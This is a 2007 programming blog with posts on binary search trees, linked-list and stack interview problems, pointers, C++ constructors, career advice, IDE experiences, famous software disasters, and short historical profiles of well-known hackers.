The operations of insertion and deletion cause the dynamic set represented by a BST to change. Insertion of a new element is quite straight forward but deletion is quite intricate. :) To insert a new value v in the BST T, we use the procedure TREE-INSERT. The procedure is passed a node z for which key[z] = v, left[z] = NIL, and right[z] = NIL. It modifies T and some of the fields of z in such a way that z is inserted into an appropriate position in the tree.

TREE-INSERT(T, z)
http://en.wikipedia.org/wiki/Binary_search_tree#Deletion
or
http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm

Like the other primitive operations on search trees, the procedure TREE-INSERT runs in O(h) time on a tree of height h.
The procedure for deleting a given node z from the BST takes as an argument as a pointer to z. The procedure considers the three cases:
1. If z has no children, then we modify the parent of z to replace z with NIL as its child.
2. If the z node has single child, we "splice out"z by making a new link between its child and its parent.
3. Finally, if the node z has two children, we "splice out" z's successor y, which has no left child and replace z's key and satellite data with y's key and satellite data.

http://en.wikipedia.org/wiki/Binary_search_tree#Deletion
or
http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm

Now that we have dealt with the theoretical part, I will come up with the problems on BST in the next post which will be a continuation of BST. :) hope u enjoyed it !!

ALL ABOUT LINKED LISTS

2007-06-04T02:00:00.000+05:30

Here are 18 linked list problems arranged in order of difficulty. The first few are quite basic and the last few are quite advanced. And if you have given a job interview then you know its the favourite topic of interviewers from companies like SAP LABS, Microsoft, Adobe, Oracle, etc and if you are preparing for a job interview then you should try to solve these problems all by yourself (if you have difficulty then surely you can contact us to have detailed solution for any of the problem or for *hints).

Great programmers can visualize data structures to see how code and memory will interact and Linked Lists are well suited for that sort of visual thinking. You can also use these problems to develop your visual skills. Make memory drawings to trace through the code.

"The will to win means nothing without the will to prepare" - Bobby knight.

Write a count() function that counts the number of times a given int occurs in a Link List.
Write a GetNth() function that takes a Link List and an integer index and returns the data value stored in the node at that index position.
Write a Function DeleteList() that takes a List, deallocates all of its memory and sets its head pointer to NULL.
Write a Pop() function that is the inverse of the Push(). Pop() takes a non-empty list, deletes the head node and returns the data at the head node.
Write a function InsertNth() which will insert a new node at any given index position N in the Link List.
Write a SortedInsert() function which given a list that is sorted in increasing order, and a single node, insert the node into the correct sorted position in the list.
Write a InsertSort() function which given a list, rearranges its node so that they are sorted in increasing order, It should use SortedInsert() function.
Write and append() function that takes two lists 'a' and 'b' as an argument and appends list 'b' at the end of 'a' and then sets list 'b' to NULL.
Given a list, split it into two sublists - one for the front half, and the one for the back half. If the number of elements is odd, the extra element should go into the front list.
Write a RemoveDuplicates() function which takes a sorted list in increasing order as an argument and deletes any duplicates from the list. Ideally the list should be traversed only once.
Write a function MoveNode() which takes two lists 'a' and 'b' as an argument and removes the front node of list 'b' and pushes it on the front of the first list 'a'.
Write a function AlternatingSplit() that takes one list and divides up its nodes to make two smaller lists. The sublists should be made from the alternating nodes from the original list.
Given two lists, Merge their nodes together to make one list, taking nodes alternatively between the two lists.
Write a function SortedMerge() that take two list as an argument which are sorted in increasing order and merges the two list into one list which is in increasing order.
(This problem requires recursion) Given FrontBack() Split and SortedMerge(), write a classic recursive MergeSort().
Given two lists 'a' and 'b' sorted in increasing order, create and return a new list representing the intersection of the two lists.
Write an iterative Reverse() function that reverses a list. Ideally the Reverse() should make only one pass through the list.
Write a RecursiveReverse() function that should reverse the link list by making only one pass through the link list.

If you have anything to add to this list then do care to contact us with the problem and solution at ramblers011@gmail.com

ALL ABOUT POINTERS

2007-06-04T00:40:00.000+05:30

Here we are giving a high level overview on pointers that will get u started on the topic, if you still need more then you can contact us and have a detailed document on pointers which will be the one of the best that u can ever get on net.

Pointers - Before and After

There's a lot of nice, tidy code we can write without knowing about pointers. But once we learn to use the power of pointers, we can never go back. There are too many things that can only be done with pointers. But with increased power comes increased responsibility. Pointers allow new and more ugly types of bugs, and pointer bugs can crash in random ways which makes them more difficult to debug. Nonetheless, even with their problems pointers are irresistible programming constructs.

Why have Pointers ?

Pointers solve two common software problems. First, pointers allow different sections of code to share information easily. We can get the same effect by copying information back and forth, but pointers solve the problem better. Second, pointers enable complex "linked" data structures like linked lists and binary trees.

What is a Pointer ?

Simple int and float variables operate pretty intuitively. An int variable is like a box which can store a single int value such as 21. A pointer works a little differently - it does not store a simple value directly. Instead, a pointer stores a reference to another value. The variable pointer refers to is sometimes known as its "pointee". (There is no single, official, word for the concept of a pointee — pointee is just the word used in these explanations.)

Pointer Deference
The "dereference" operation follows a pointer's reference to get the value of its pointee.When the dereference operation is used correctly, it's simple. It just accesses the value of the pointee. The only restriction is that the pointer must have a pointee for the dereference to access. Almost all bugs in pointer code involve violating that one restriction. A pointer must be assigned a pointee before dereference operations will work.

The NULL Pointer
The constant NULL is a special pointer value which encodes the idea of "points to nothing". It turns out to be convenient to have a well defined pointer value which represents the idea that a pointer does not have a pointee. It is a runtime error to dereference a NULL pointer.
The C language uses the symbol NULL for this purpose. NULL is equal to the integer constant 0, so NULL can play the role of a boolean false. Official C++ no longer uses the NULL symbolic constant — use the integer constant 0 directly. Java uses the symbol null.

Pointer Assignment
The assignment operation (=) between two pointers makes them point to the same pointee. It's a simple rule for a potentially complex situation, so it is worth repeating:assigning one pointer to another makes them point to the same thing.
After assignment, the == test comparing the two pointers will return true.The assignment operation also works with the NULL value. An assignment operation with a NULL pointer copies the NULL value from one pointer to another.

Shallow and Deep Copying
In particular, sharing can enable communication between two functions. One function passes a pointer to the value of interest to another function. Both functions can access the value of interest, but the value of interest itself is not copied. This communication is called "shallow" since instead of making and sending a (large) copy of the value of interest, a (small) pointer is sent and the value of interest is shared. The recipient needs to understand that they have a shallow copy, so they know not to change or delete it since it is shared. The alternative where a complete copy is made and sent is known as a "deep" copy. Deep copies are simpler in a way, since each function can change their copy without interfering with the other copy, but deep copies run slower because of all the copying.

Bad Pointers
When a pointer is first allocated, it does not have a pointee. The pointer is "uninitialized" or simply "bad". A dereference operation on a bad pointer is a serious runtime error. If you are lucky, the dereference operation will crash or halt immediately (Java behaves this way). If you are unlucky, the bad pointer dereference will corrupt a random area of memory, slightly altering the operation of the program so that it goes wrong some indefinite time later. Each pointer must be assigned a pointee before it can support dereference operations. Before that, the pointer is bad and must not be used.
Bad pointers are very common. In fact, every pointer starts out with a bad value.Correct code overwrites the bad value with a correct reference to a pointee, and thereafter the pointer works fine. There is nothing automatic that gives a pointer a valid pointee.

Pointers Rule Summary
No matter how much complex a pointer gets, the list of rules remains short

A pointer stores a reference to its pointee. The pointee, in turn, stores something useful.
The deference operation on a pointer accesses pointee. A pointer may only be deferenced after it has been assigned to refer to a pointee. Most pointer bugs invlove violating this one rule.
Allocating a pointer doesnot automatically assign it to refer to a pointee. Assigning the pointer to refer to a specific pointee is a separate operation which is easy to forget.
Assignment between two pointers makes them refer to the same pointee which introduces sharing.

ALL ABOUT STACKS

2007-06-03T21:51:00.000+05:30

We are starting a new "ALL ABOUT" series where by we will be trying to do an in depth "analysis" or presenting a collection of problems on a particular topic from Computer Science which will give u better understanding of the topic, as we believe in "Master of all trades, Jack of None !". This will help you face and ace the job interview questions on the discussed topic.

Here we are starting with a set of interesting stack related problems in the increasing order of difficulty. If you have difficult solving any of them or if you want to add some more to this collection, you can contact us at ramblers011@gmail.com, and we will definitely respond with solution(s) or thanks :) ASAP.

If you want to add new stack related problems to this collection then email us the problem with solution so that we can give you credit by posting your problem & solution on our blog.

Please add "all about stacks" in the subject so that it will easier for us to manage our emails and to serve you better.

What are the basic Stack operations?
Write a program to implement basic operations on a stack checking for overflow and underflow.
Write a C/C++ program to implement a stack using an array.
Write a C/C++ program for implementation of a stack using the linked list.
Write a program that makes use of a Stack to reverse a line of text.
What is purpose of a Stack in implementing a recursive procedure?
Discuss the conversion of infix form to postfix form using a stack based algorithm.
Explain how to implement two stacks in one array S [1…n] in such a way that neither stack overflows unless the total numbers of elements in both stacks together is n. The PUSH and POP operations should run in O(1) time.
Explain how we can implement a queue using two stacks. Analyze the running time of queue operations.
Explain how you will model a “reverse polish calculator” using Stack.

If you would like to request us for a "All about" series of your interest then do not hesitate to write to us.

Heuristics Based Network Design - A Vision

2007-06-03T11:40:00.000+05:30

This happened a few months back when I was reading a lot about Networks and stuff and an idea struck me... I found very little work being done in this arena, so I thought, why not study more about this and take it to the next level as a full-fledged project work! I mean, it is sale-able and if completed, would be in demand!! The idea is discussed below:

The Problem:
In big organizations where there are hundreds of computers, a sound Network Administrator is needed to configure all the systems in one network, achieving an optimal design at the same time. By optimal, I mean that he has to come up with a design that would have to be economical and at the same time robust. In reality, the problem is not that complex for a Network Administrator, as he would (in most of the cases) suggest the most robust design (irrespective of the cost involved)! This is because, big organizations would generally not worry about the cost but rather the robust attribute of there network. That means a lot of money would be wasted in setting up a more than robust network that is not at all required!

The Vision:
What if, there was an intelligent program which would utilize some basic Heuristic Algorithms to come up with an optimal network design which would not only be as robust as the manually designed network, but also promise to be more efficient! The efficiency could be achieved by using the well established Algorithms of Floyd-Warshall and Dijkstra.

The Inputs:
The program would require the Network Administrator (or any lay person) to draw a schematic diagram of the layout of the entire office. Now, by drawing, I mean that either the user uses mouse and keyboards to draw the layout (which would be very cumbersome) or he uses a simple graphic tablet and a light pen (here again the interfacing would be necessary). Even better, the program could be integrated with Microsoft Surface and it could be real easy to get in the input of the layout in the form of a drawing. Here again a lot of interfacing would be required.

The Processing:
Now, the processing would involve computing the most economical network design which would be as robust as those designed manually. This wont be easy! We would have to come up with an array of designs that are obtained by using various techniques like Greedy Algorithms or Dynamic Programming. Each solution will consist of cost optimization and also making the network robust, at the same time. Hence, a detail analysis of how the bridges, routers and switches should be assembled, needs to be compiled. We need to come up with detail plans which would incorporate various architectural challenges like partitions in the office, or cubicles or separate floors! A set of heuristic functions should also be formulated to let the program asses the efficiency of a certain design based on some attributes.

The Result:
Towards the end, we would expect the program to work as a full fledged design consultant!! We would be able to feed in either our own design or just the office layout. In the former case, the program should be able to point out the potential flaws, like maximum load points (using DFS Algorithms) and suggest improvements. In the later case, the program should be intelligently able to present its users with the best solution, which is both economical and robust.

The Future:
Once the success of the prior versions, we could incorporate some Network Monitoring algorithms which could also let the program to formulate a course of action in case of a disaster. It could make alternate connections intelligently in case some connections break abruptly. We could provide enough intelligence to the program to make it a great Network Administrator on the whole!!

Finally, I would like to re-assert that this product, if developed as my vision has it, would be a great hit in all sectors of the corporate world. Don't misjudge me as a potential job-snatcher for Network Administrators!! Well, I hope my idea gains so much intelligence, so as to completely replace human brains!! But thats a distant dream! :-)

New Look...!!!

2007-05-30T16:14:00.000+05:30

I am happy to present before to you a new face of Digital Neurons!! With the new look, comes new offerings and new promises... ;-) The highlights of the rejuvenation is as follows:

The blog will be updated more than thrice a week! So stay linked to it for new thoughts, news, and information related to CS...
We're going public!! Now you can contact us on our email to post comments, feedback, discuss your puzzles and problems with us. You are sure to expect expert solutions and suggestions by us...
We can help you! If you are facing problems related to any programming language, (Java, C#, VC++, VB, C, C++, etc) or if you are too lethargic to develop a solution by yourself, (no offenses!), just tell us... And you will have the solution at rocket speed!!
We are looking for amateurs who have a passion for CS! You can also be a part of this sacred place and contribute! Let us know about yourself and we can cast wonders together!

There is more to every step you take... :-)

Did you know? - 1

2007-05-27T17:01:00.000+05:30

I am beginning a series of new threads which would let you know some facts about Computers which have been found out by my own personal experience... This isn't a copy and a paste from google.com!! To begin with, I would tell you three short, yet surprising facts that I came across, just this week!

I was installing Oracle 10g on my system and I got an error which I had never heard of before! The installer told me that the PATH environment variable had 1024 characters and no more extra path information could be added!! Did you know that your PATH length cannot be larger than 1024 characters??!!
I was working on Oracle9i few days back, on a table that contained a column of CLOB type. I was accessing this table using the VisualStudio 2005 and each time I inserted some record in this table, I got an Oracle error with a description as ||||||||||||||||||||||... Yes!! Thats not a typo!! I got a series of BARS as the description!! I was puzzled! What the heck was it??!! Finally after tracing the application step-by-step I found out that this error was thrown each time I tried to insert a null ("") into the column of the CLOB type! Did you know that you could not insert a null into a column of CLOB type??!!
While working on the same application, I also found out that VisualStudio 2005 started to behave erratically if you tried to import tables having columns of XMLTYPE from a Database!! It told me that it was unable to retrieve the schema and when i pressed cancel, my entire DataSet was corrupted! I was not able to add Queries, Columns, etc and finally had to delete it totally and rebuild it... :-( Did you know that VisualStudio 2005 is unable to process Tables containing columns of XMLTYPE??!!

I will be back with even more weird experiences... (As and when I face them!!!)

My Experiments with Truth - And the award goes to!!!

2007-05-18T18:02:00.000+05:30

It was long back when I told you my messy story about how I got screwed up by the never ending intricacies of Java. Just after all this happened to me, I decided that it was enough for me and then I switched the whole portal that I was developing on to ASP.NET and C#. You would be surprised if I told you this... All that work that was pending on my head since the last TWO MONTHS, was accomplished using simple clicks here and there! And my whole portal was up and functioning perfectly in JUST A WEEK!! You don't believe that?? Hmmm... You should!

There is a lot of hue-and-cry over Microsoft's expensive softwares etc... But the bottom line is, believe it or not, the products rolled out by Microsoft really rock!! Use the new Visual Studio 2005 and you will know why I say that so confidently! All of us know that such an IDE has never existed for Java. The new Netbeans 5.5 claims a lot but when you use it, you'll feel more than annoyed by its useless over-intelligent features!! Maybe the upcoming version 6 removes my grudges against Netbeans...!

Talking more about Visual Studio and web development, if you have a basic idea of web development then just use this excellent IDE once and your work could go at a speed 10 times faster than your usual. The Studio bundle gives you the Visual Web Developer 2005 using which you could develop ASP.NET pages without even manually coding it word by word... Just a few intelligent clicks would launch your full featured website with all supports like back-end database and good look and feel.

All said about the IDE, there has to be some setbacks as stated by the inevitable Murphy Laws that the best software have the coolest bugs of all!! So, this one two has its own demerits... Ofcourse not as annoying as Java! Its about portability... Each time you ship your application, do not forget to package Dot Net Framework 2 with your bundle or else there could be some last minute annoyances! All in all... I must say that Yes! The award goes to Microsoft for giving us the coolest IDE that alleviates all our programming pains!

(Talking about Murphy's Laws... You might want to have a look at http://www.murphys-laws.com/ for an exhaustive list of the most hilarious Murphy's Laws!!)

MYTHS ABOUT DEFAULT CONSTRUCTORS

2007-05-03T09:00:00.000+05:30

Well guys, I know if you are tempted to read this article then one thing is sure that either you have studied C++ and forgotten or are still curious about some fundamental things about C++. They are so many things we take for granted just because we are not able to out that “extra” effort so that we can find ourself and understand as to how things really work.

Recently I came across a startling fact that (which some of you may already know !)

Programmers new to C++ often have two common misunderstandings:

That a default constructor is synthesized for every class that does not define one
That the compiler-synthesized default constructor provides explicit default initializers for each data member declared within the class.

Neither of these is true.

Even though I was now new to C++, I had these misunderstandings as like most of you me too doesnt put that “extra” effort. Now some clarifications…

There are four characteristics of a class under which the compiler needs to synthesize a default constructor for classes that declare no constructor at all. The Standard refers to these as implicit, nontrivial default constructors. The synthesized constructor fulfills only an implementation need. It does this by invoking member object or base class default constructors or initializing the virtual function or virtual base class mechanism for each object. Classes that do not exhibit these characteristics and that declare no constructor at all are said to have implicit, trivial default constructors. In practice, these trivial default constructors are not synthesized.

Within the synthesized default constructor, only the base class subobjects and member class objects are initialized. All other nonstatic data members, such as integers, pointers to integers, arrays of integers, and so on, are not initialized. These initializations are needs of the program, not of the implementation. If there is a program need for a default constructor, such as initializing a pointer to 0, it is the programmer's responsibility to provide it in the course of the class implementation.

Now listen I can give more detailed description with some examples but if you are really interested in C++ then you know you gotta some serious job in hand … go and put some “extra” effort and if you come across some more myths then do mind telling me too ;)

Advice To Young Programmers

2007-04-11T09:47:00.000+05:30

Recently I came across a speech given by Alex Stepenov (Principal Scientist,Adobe Systems) and I found it very inspiring and meaningful to amalgamate it into my life and every time I read it, I get revitalised on my journey to become ... :D

The summary of the speech is ...

1. Study , Study and Study
Never ever think that you have acquired all or most of the knowledge which exists in the world. Almost
everybody in US at age of 14 and everybody in India at age of 24 starts thinking that he has acquired all the
wisdom and knowledge that he needs. This should be strictly avoided.
You should be habituated to studies…exactly in the same way as you are habituated to brushing teeth and
taking bath every morning. The habit of study must become a part of your blood. And the study should be from
both the areas: CS, since it is your profession, and something from non-CS…Something which does not relate to
your work. This would expand your knowledge in other field too. A regular study, everyday, is extremely
essential. It does not matter whether you study of 20 minutes of 2 hours,but consistency is a must.
You should always study basics and fundamentals. There is no point in going for advanced topics. When I was
at the age of 24, I wanted to do PhD in program verification, though I was not able to understand anything from
that. The basic reason was that my fundamental concepts were not clear. Studying Algebraic Geometry is
useless if you do not understand basics in Algebra and Geometry. Also, you should always go back and re-read
and re-iterate over the fundamental concepts. What is the exact definition of `fundamental’? The stuff which is
around for a while and which forms basic part of the concepts can be regarded as more fundamental. Of course,
everybody understands what a fundamental means.
Here are few books which I would strongly recommend that every CS professional should read and
understand.
Structure and Interpretation of Computer Programs by Albenson and Sussman. I personally do not
like the material present in this book and I do have some objections about it but this is the best book I
have ever seen which explains all the concepts in programming in a clear and excellent way. This book is
available online at “http://mitpress.mit.edu/sicp/“.
Introduction to Computer Architecture by Hennessy and Patterson. How many of you have shipped the
programs by writing them in assembly? A very good understanding of basics of how a computer operates
is what every CS professional must have. H&P Wrote two books on CA. I am talking about their first book,
the introductory text for understanding basic aspects of how a computer works. Even if you feel that you
know whatever is written in that book,do not stop reading. It’s good to revise basics again and again.
Fundamentals of Programming by Donald Knuth The core of CS is algorithms and Data structures.
Every CS professional must have the 3 volumes of Knuth’s Book on programming. It really does not
matter if you take 30 years of your life to understand what Knuth has written, what is more important is
that you read atleast some part of that book everyday without fail.
Introduction to Algorithms by Cormen, Leiserson and Rivest. This book should be read daily to keep
your concepts fresh. This is the best book for fundamental concepts in algorithms.
2. Learn Professional Ethics
As a CS Professional, you are morally obliged to do a good job. What this means is that you are supposed to do
your job not for your manager but for yourself. This is already told in Bhagwatgeeta : Doing duties of your life.
The direct implication of this is: never ever write a bad code. You don’t need to be fastest and run after shipping
dates; rather you need to write quality code. Never write junk code. Rewrite it till it is good. Thoroughly test every
piece of code that you write. Do not write codes which are “sort of alright”. You might not achieve perfection, but
atleast your code should be of good quality.
Let me quote my own example in this context. You might have heard about STL, The Standard Template Library
that ships in with C++ compilers. I wrote it 10 years ago, in 1994. While implementing one of the routines in the
STL, namely the “search routine”, I was a bit lazy and instead of writing a good linear order implementation of
KMP which was difficult to code, I wrote a best quadratic implementation. I knew that I could make the search
faster by writing a linear-order implementation, but I was lazy and I did not do that. And, after 10 years of my
writing STL, exactly the same implementation is still used inside STL and STL ships with an inefficient quadratic
implementation of search routine even today!! You might ask me: why can’t you rewrite that? Well…I
cannot,because that code is no more my property!! Further, nobody today will be interested in a standalone
efficient STL …people would prefer one which automatically ships out with the compiler itself.
Moral is, you should have aesthetic beauty built inside you. You should “feel” uneasy on writing bad code and
should be eager to rewrite the code till it becomes upto the quality. And to the judge the quality, you need to
develop sense regarding which algorithms to use under what circumstances.
3. Figure out your Goals
Always aspire doing bigger things in life.”Viewing promotion path as your career” is a completely wrong goal. If
you are really interested in studying and learning new things, never ever aspire for being a manager. Managers
cannot learn and study…they have no time. “Company ladder aspiration” is not what should be important for
you.
You might feel that you want to do certain things which you cannot do till you become a manager. When you
become a manager, you will soon realize that now you just cannot do anything!
You will have a great experience as programmers. But if you care for people and love people, you will never
enjoy being a manager…most good managers are reluctant managers. If you see people as people, you cannot
survive at management level.
Always aspire for professional greatness. Our profession is very beautiful because we create abstract models
and implement them in reality. There is a big fun in doing that. We have a profession which allows us to do
creative things and even gives nice salary for that.
The three biggest mistakes that people usually make are aiming for money,aiming for promotion and aiming for
fame. The moment you get some of these, you aspire for some more…and then there is no end. I do not mean
that you should not earn money, but you should understand how much money would satisfy your needs. Bill
Gates might be the richest person in the world; he is certainly not the happiest. Our lives are far better than his.
Find your goal, and do best in the job that you have. Understand that what is in your pocket does not
matter…what is in your brain finally matters.Money and fame do not matter. Knowledge matters.
4. Follow your culture
I have seen the tradition that whatever junk is created in US, it rapidly spreads up in the rest of the world, and
India is not an exception for this. This cultural change creates a very strong impact on everybody’s life. Habits of
watching spicy Bollywood or Hollywood movies and listening to pop songs and all such stupid stuff gets very
easily cultivated in people of your age…but believe me, there is nothing great in that. This all just makes you run
away from your culture. And there is no wisdom in running away from your culture. Indian culture,which has
great Vedas and stories like Mahabharata and Bhagwatgeeta is really great and even Donald Knuth enjoys
reading that. You should understand that fundamental things in Indian culture teach you a lot and you should
never forget them.
Finally, I would like to conclude by saying that it’s your life…do not waste it on stupid things…develop your tests,
and start the fight.

I wish you "best of luck" on your journey to become ... ;)

My Experiments with Truth - The Beginning!!

2007-04-04T18:02:00.000+05:30

Recently I was given a job to develop a web based portal and I had the freedom to choose my platform. Now, I had an inclination for JAVA (I don't know why!!) so I sincerely downloaded the Netbeans 5.5 IDE and the Tomcat Server for hosting it. I had prior experience with Applets and Servlets but I was totally unaware of JSP. The reason being, whichever book I picked up for JSP, they said it in the very beginning that:

There is nothing that a JSP can do and a servlet cannot!

So, I became very reluctant to study JSP as I thought to myself that I could do whatever was required using Servlets. Thereafter, I started developing the portal. I began with designing the HTMLs with Microsoft Publisher and started writing the backend code on JAVA. It went fine in the beginning but slowly, as the requirements became more and more refined, my design went more and more haphazard!!

It began with a requirement which was to enforce Authentication requirements for some of the sensitive web pages. Now there are two ways in which authentication can be enforced using the Tomcat server. One is the implicit authentication that is provided by the server itself and the second in the manually designed authentication by the developer. I thought that the automatic authentication was cool enough (the first option) so I implemented that for all my sensitive pages. Soon after that, I found myself in a mess of interlocked web pages!! I was finding it almost impossible to retrieve the name of the user who logged-in to access the sensitive pages!! I searched a lot on the net but could not find any way out!!

Finally, I gave up and forced myself to manually enforce the authentication and design the Login Pages. I could solve the problem of retrieving the username and other details but this wasn't enough! I was again trapped in the mess of Unavailable Classes!! Once the servlet generated an HTML and used applet inside it, the applet was never visible! I tried copying the class files to the root directory of my web application and suddenly it started opening!I wondered, why didn't the Netbeans guys document such irritating bugs in the software!!

Bang bang bang!! I was in for more of buggy problems ahead! Suddenly the event handler that I wrote for a mouse click on a combo-box item failed to execute! To add to my worries, the Derby Database that was bundled with Netbeans became inaccessible! I was going mad at the rising problems in such an insignificant project!!!

Then came the savior to rescue me from the trap I was into...... (to be continued...)

Disastrous BUGS !!

2007-03-21T12:57:00.000+05:30

Mariner 1

Mariner1 was the first spacecraft of the Mariner program. Intended to fly by Venus, it failed during launch on July 22, 1962. A hardware failure in an antenna caused the booster to lose contact with guidance systems on the ground, so an onboard computer assumed control. However, that computer's software contained a bug. It is claimed that the bug consisted a period typed in place of a comma, causing a FORTRAN statement of the form "DO 17 I = 1, 10" to be interpreted as "DO17I = 1.10" (an assignment to a variable called DO17I

Ariane 5 (1996)

The Ariane 5 rocket exploded on its maiden flight in June [4], 1996 because the navigation package was inherited from the Ariane 4 without proper testing. The new rocket flew faster, resulting in larger values of some variables in the navigation software. Shortly after launch, an attempt to convert a 64-bit floating-point number into a 16-bit integer generated an overflow. The error was caught, but the code that caught it elected to shut down the subsystem. The rocket veered off course and exploded. It was unfortunate that the code that failed generated inertial reference information useful only before lift-off; had it been turned off at the moment of launch, there would have been no trouble. (Kernighan, 1999)

Mars Climate Orbiter (September 23rd, 1999)

The 125 million dollar Mars Climate Orbiter is assumed lost by officials at NASA. The failure responsible for loss of the orbiter is attributed to a failure of NASA’s system engineer process. The process did not specify the system of measurement to be used on the project. As a result, one of the development teams used Imperial measurement while the other used the metric system of measurement. When parameters from one module were passed to another during orbit navigation correct, no conversion was performed, resulting in the loss of the craft. http://mars.jpl.nasa.gov/msp98/orbiter/

Denver baggage handling system

The Denver airport baggage handling system was so complex (involving 300 computers) that the development overrun prevented the airport from opening on time. Fixing the incredibly buggy system required an additional 50% of the original budget - nearly $200m.

Year 2000 Problem

The year 2000 problem, popularly known as the "Y2K bug", spawned fears of worldwide economic collapse and an industry of consultants providing last-minute fixes.

Y2K problem, the millennium bug, and the Y2K Bug was the result of a practice in early computer program design that caused some date-related processing to operate incorrectly for dates and times on and after January 1, 2000. It caused widespread concern that critical industries (such as electricity or finance) and government functions would cease operating at exactly midnight, January 1, 2000, and on other critical dates which were billed as "event horizons". This fear was fueled by the attendant press coverage and other media speculation, as well as corporate and government reports. People who understand how computers work recognized that finely tuned systems could get "confused" when the 97, 98, 99, ?? ascending numbering assumption suddenly became invalid. Companies and organizations world-wide checked and upgraded their computer systems. The preparation for Y2K thus had a significant effect on the computer industry. No significant computer failures occurred when the clocks rolled over into 2000. Debate continues on whether the absence of computer failures was the result of the preparation undertaken or whether the significance of the problem had been overstated.

Therac-25

The Therac-25 accidents (1985-1987), quite possibly the most serious computer-related failure ever in terms of human life (at least five died).

Therac-25 was a radiation therapy machine produced by Atomic Energy of Canada Limited (AECL) and CGR MeV of France after the Therac-6 and Therac-20 units. It was involved with at least six known accidents between 1985 and 1987, in which patients were given massive overdoses of radiation, which were in some cases on the order of hundreds of grays. At least five patients died of the overdoses. These accidents highlighted the dangers of software control of safety-critical systems, and they have become a standard case study in health informatics.

The researchers also found several engineering issues:

The design did not have any hardware interlocks to prevent the electron-beam from operating in its high-energy mode without the target in place.
The engineer had reused software from older models. These models had hardware interlocks that masked their software defects. Those hardware safeties had no way of reporting that they had been triggered, so there was no indication of the existence of faulty software commands.
The hardware provided no way for the software to verify that sensors were working correctly.
The software set a flag variable by incrementing it. Occasionally an arithmetic overflow occurred, causing the software to bypass safety checks.
The software was written in assembly language. While this was more common at the time than it is today, assembly language is harder to debug than most high-level languages.

Electric power transmission

The 2003 North America blackout was triggered by a local outage that went undetected due to a race condition in General Electric Energy's XA/21 monitoring software.

The Patriot Missile Failure

On February 25, 1991, during the Gulf War, an American Patriot Missile battery in Dharan, Saudi Arabia, failed to track and intercept an incoming Iraqi Scud missile. The Scud struck an American Army barracks, killing 28 soldiers and injuring around 100 other people. A report of the General Accounting office, GAO/IMTEC-92-26, entitled Patriot Missile Defense: Software Problem Led to System Failure at Dhahran, Saudi Arabia reported on the cause of the failure. It turns out that the cause was an inaccurate calculation of the time since boot due to computer arithmetic errors

Pentium FDIV bug

The Pentium FDIV bug was a bug in Intel's original Pentium floating point unit. Certain floating point division operations performed with these processors would produce incorrect results. According to Intel, there were a few missing entries in the lookup table used by the divide operation algorithm. The flaw was publicly disclosed by Professor Thomas Nicely, then at Lynchburg College, in 1994^.

Although encountering the flaw was extremely rare in practice (Byte estimated that 1 in 9 billion floating point divides with random parameters would produce inaccurate results), Both the flaw and Intel's handling of the flaw were heavily criticized. Intel ultimately recalled the defective processors.

Weird Directory Names.....!

2007-03-14T10:50:00.000+05:30

Did you know that Windows does not allow some specific names to be used for Directory names or Filenames? Once, while I was working on my Win-XP box, on a major project, I wanted to note down various conditions that were present in my project at one place. So, I thought of putting all the conditions in a directory. As soon as I created a directory named "CON", it got renamed to "COND". I thought, what happened?? Who pressed the 'D'? So, I again tried renaming it to "CON" and again it was renamed!! I thought to myself, "Am I drunk?? Or, have I been sleeping very less!" So, for the last time, I watched my steps very carefully... I created a new folder and pressed 'C', 'O', 'N' very slowly... And pressed the Return key very gently.... Whoaaaagh!! The name changed automatically to "COND". There was something fishy happening. It was late at night so I slept and planned to Google the case next day.

What I found the next day, seemed to make me look like a fool! Microsoft had documented a list of words that could not be used as directory names! Many names like, CON, PRN, AUX, NUL, etc could not be used at all! Man.... All this time I was in a delusion! And you must admit... "Ignorance is bliss....!!"

Check out the link: http://msdn2.microsoft.com/en-us/library/aa365247.aspx

Brief History of world famous "hackers"

2007-03-12T21:25:00.000+05:30

Dennis Ritchie and Ken Thompson

Handles: dmr and ken
a.k.a.: Dennis Ritchie and Ken Thompson

Claim to fame:
The driving creative force behind Bell Labs' legendary computer science operating group, Ritchie and Thompson created UNIX in 1969. An elegant, open operating system for minicomputers, UNIX helped users with general computing, word processing and networking, and soon became a standard language.

Unusual tools:
Plan 9, the next-generation operating system created as the natural descendant of UNIX by Thompson and Bell Labs colleague Rob Pike.

Little-known fact:
Although Ritchie is the author of the popular C programming language, his favorite language is Alef. Thompson, an amateur pilot, once traveled to Moscow to fly a MiG-29.

Check out:
http://cm.bell-labs.com/who/dmr/
http://cm.bell-labs.com/who/ken/

Tsutomu Shimomura

To state the obvious: Shimomura outhacked and outsmarted Kevin Mitnick, the nation's most infamous cracker/phreaker, in early 1994. After colleagues at the San Diego Supercomputing Center informed Shimomura that someone had stolen hundreds of software programs and files from his work station, the computer security expert worked on a tip to track the thief through the WELL. A labyrinthine telco trail eventually led to an apartment complex in Raleigh, N.C., where FBI agents apprehended Mitnick. (They've had less luck tracking down Mitnick's alleged Israeli accomplice.)

But that's not all: A consultant to the FBI, Air Force and National Security Agency, Shimomura is rumored to have engaged in darkside dabblings himself. As Jon Littman notes, "I've always wondered why he wrote that program to eavesdrop on cell phone calls. Somehow it doesn't sound like an NSA contract."

check out:
http://www.takedown.com/bio/tsutomu.html

Vladimir Levin

Handle: Uknown

a.k.a.: vladimir levin

Claim to fame:
A graduate of St. Petersburg Tekhnologichesky University, this mathematician allegedly masterminded the Russian hacker gang that tricked Citibank's computers into spitting out $10 million. Arrested by Interpol at Heathrow Airport in 1995.

First encountered a computer:
Unknown. Accused of using his office computer at AO Saturn, a St. Petersburg, Russia, computer firm, to break into Citibank.

Unusual tools:
Along with a computer, computer games and disks, Russian police confiscated a camcorder, music speakers and a TV set from Levin's apartment.

Little-known fact:
Levin claimed that one of the lawyers assigned to defend him was actually an FBI agent.

Check out:
http://www.spb.su/sppress/141/guilty.html

Johan Helsingius

Handle: julf
a.k.a.: Johan Helsingius

Claim to fame:
Operated the world's most popular anonymous remailer, called penet.fi, until he closed up shop in September 1996. Helsingius' troubles started when he was raided in 1995 by the Finnish police after the Church of Scientology complained that a penet.fi customer was posting the "church's" secrets on the Net. Helsingius mothballed the remailer after a Finnish court ruled he must reveal the customer's real e-mail address.

Unusual tools:
Ran the world's busiest remailer on a run-of-the mill 486 with a 200-megabyte harddrive.

Little-known fact:
Never felt the need himself to post anonymously.

Check out:
Helsingius' personal take on the legal case, at http://www.cyberpass.net/security

John Draper

Handle: Cap'n Crunch

